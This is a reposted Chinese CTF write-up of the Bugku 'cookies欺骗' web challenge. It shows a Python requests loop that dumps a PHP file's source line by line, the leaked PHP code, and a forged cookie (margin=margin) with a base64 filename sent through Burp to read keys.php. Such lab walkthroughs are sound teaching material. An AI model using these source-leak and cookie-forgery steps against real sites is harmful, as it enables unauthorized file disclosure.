Bugku_CTF Writeup 之 cookies欺骗

Posted izayoi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Bugku_CTF Writeup 之 cookies欺骗相关的知识,希望对你有一定的参考价值。

题目描述:

http://120.24.86.145:8002/web11/

答案格式:KEY{xxxxxxxx}

 

 

1.开局一个url与一串乱码:

http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

 

rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaeru

baufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrs

gbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrb

gtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbai

envdivrbgtubgtrsgb......(此处省略千字)

 

2.原url有两个参数

  (1)line=

  (2)filename=a2V5cy50eHQ=

 

 

3. 对a2V5cy50eHQ=用base64解码,得到其明文是key.txt

  猜测filename参数会决定所返回的页面(可能是源码),传递的参数要是base64密文形式,来交给后台base64.decode()

  那就传递index.php喽,对应的base64密文是aW5kZXgucGhw

  http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw

 

 

4.访问http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw

  发现页面...空了......

  line参数是否决定了返回哪一行呢?

 

 

5.令line=1、2、3...n...

  都得到一段php代码的第n行

  python脚本帮助获取全部代码

1 import requests
2 ses=requests.session()
3 url=http://120.24.86.145:8002/web11/index.php
4 for i in range(0,30):
5     payload={line:i,filename:aW5kZXgucGhw}
6     result=ses.get(url,params=payload).text              
7     print(result) 

 

 

6.得到php源码

 1 <?php
 2 
 3 error_reporting(0);
 4 
 5 $file=base64_decode(isset($_GET[‘filename‘])?$_GET[‘filename‘]:"");
 6 
 7 $line=isset($_GET[‘line‘])?intval($_GET[‘line‘]):0;
 8 
 9 if($file==‘‘) header("location:index.php?line=&filename=a2V5cy50eHQ=");
10 
11 $file_list = array(
12 
13 ‘0‘ =>‘keys.txt‘,
14 
15 ‘1‘ =>‘index.php‘,
16 
17 );
18 
19  
20 
21 if(isset($_COOKIE[‘margin‘]) && $_COOKIE[‘margin‘]==‘margin‘){
22 
23 $file_list[2]=‘keys.php‘;
24 
25 }
26 
27  
28 
29 if(in_array($file, $file_list)){
30 
31 $fa = file($file);
32 
33 echo $fa[$line];
34 
35 }
36 
37 ?>

 

 

7.代码最后会输出一个文件的内容,至于会输出哪个文件的,就看我们如何提交参数啦

  我们想得到的当然是keys.php的内容,接下来看看得如何构造参数

  将keys.php的base64密文传入做为filename的参数

  但要将keys.php加入候选文件序列$file_list中,还需要cookies中保存的键值对为margin=margin

 

 

8.burpsuite改包

  在此之前先用burpsuite得到keys.php的base64密文:a2V5cy5waHA=

  再发包、截包、改包三连:(1)filename的值赋为a2V5cy5waHA= 

              (2)添加Cookie:margin=margin  

  得到flag:

技术分享图片

 

以上是关于Bugku_CTF Writeup 之 cookies欺骗的主要内容,如果未能解决你的问题,请参考以下文章

Bugku_CTF Writeup 之 web2(20)

Bugku_CTF Writeup 之 域名解析(50)

Bugku_CTF Writeup 之 管理员系统 (60)

Bugku_CTF Writeup 之 never give up

Bugku_CTF Writeup 之 这是一张单纯的图片

1009.CTF 题目之 WEB Writeup 通关大全 – 3